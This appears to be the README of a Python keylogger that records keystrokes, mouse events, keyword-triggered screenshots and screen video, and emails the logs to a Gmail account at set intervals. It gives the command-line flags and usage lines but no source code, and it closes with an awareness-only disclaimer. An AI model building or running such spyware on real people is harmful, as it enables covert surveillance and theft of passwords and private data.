Its a Tool to store Key Strokes, Mouse Moves, Mouse Clicks, Screen shots, Screen Recorders when the user try to do respective actions
Required packages for using this tool
- pynput --> Used to Record Keyboard and Mouse Events
- smtplib --> Used to Send Mail
- opencv --> Used for Screen Recorder
- Pillow --> Used to take Screen Shots
- email --> Used to Attach files to Mail (MIMEMultipart)
- datetime --> Used to get date and time
- os --> Used to manipulate opertaing systems
- sys --> Used to manipulate System commands
--Keylisten (or) -K --> Initiate the Keyboard Listener(Store Key logs)
--mouselisten (or) -M --> Initiate the Mouse Listener(Strore Mouse Actions)
--keymouserlisten (or) -L --> Initiate both Keyboard and Mouse Listener
--recordscreen (or) -r --> Initiate Screen Recorder
--keymousescrnrec (or) -R --> Initiate Keyboard, Mouse, Screen Recorder
--capture (or) -c --> Screen Capture (set to True or False)
--capturetime (or) -t --> Set the Screen Recorder time (in secs)
--email (or) -e --> Enter Users Gmail ID
--password (or) -p --> Enter Gmail Password
--fps (or) -F --> Frames Per Second
--mailduration (or) -D --> Duration of Mail send to the User
--stop (or) -S --> Stops the Program Execution based on given time (in secs)
- python main.py --keylisten --email xxxxxxxx --password xxxxxx --mailduration xxx --stop xxx
- python main.py -K -e xxxxxxx -p xxxxxx -D xxx -S xxx
- python main.py --mouselisten --email xxxxx --password xxxx --mailduraiton xxx --stop xxx
- python main.py -M -e xxxxxxx -p xxxxx -D xxxx -S xxxx
- python main.py --keymouselisten --email xxxxxxxxx --password xxxxxxxx --mailduration xxx --stop xxx
- python main.py -L -e xxxxxxxxxx -p xxxxxxxx -D xxxx -S xxxxx
- python main.py --keymouserlisten --email xxxxxxxx --password xxxxxxx --mailduration xxxx --capture --stop xxxxx
- python main.py -L -e xxxxxxx -p xxxxxxx -D xxxx -c -S xxxx
- python main.py --recordscreen --email xxxxxxxx --password xxxxxxxxx --capturetime xxxx --fps xxxxx
- python main.py -r -e xxxxxxxxx -p xxxxxxx -t xxxx -F xxxx
- python main.py --keymousescrnrec --email xxxxxx --password xxxxxxx --mailduration xxxxxx --capturetime xxxx --fps xxxx --stop xxxxxx
- python main.py -R -e xxxxxxx -p xxxxxx -D xxxxx -t xxxxx -F xxxx -S xxxx
- python main.py --keymousescrnrec --email xxxxxxxxxx --password xxxxxxx --mailduration xxxx --capturetime xxxx --fps xxxxx --capture --stop xxxx
- python main.py -R -e xxxxxxx -p xxxxx -D xxxxxxx -t xxxxxx -F xxxx -c -S xxxxx
- Using this tool you can get the logs from keyboard, mouse and also take screen shots, Screen Recorder and send the details to the mail provided by the user at run time
- Screen Shots are captured based on the keywords, external KeywordFile.txt is provided to add the keywords
- Use less value for FPS (Frames Per Second) in screen recording. If you provided more fps, it will consume more memory and delay in sending mail to user (consume more memory and internet)
- Set a frequent mail time, for example if you set mailduration as 10 secs for every 10 secs user will get the mail with respective details
This tool is desined only for gaining knowledge/awareness on how keyloggers work in real time. So its my kind request, do not use it for illegal purposes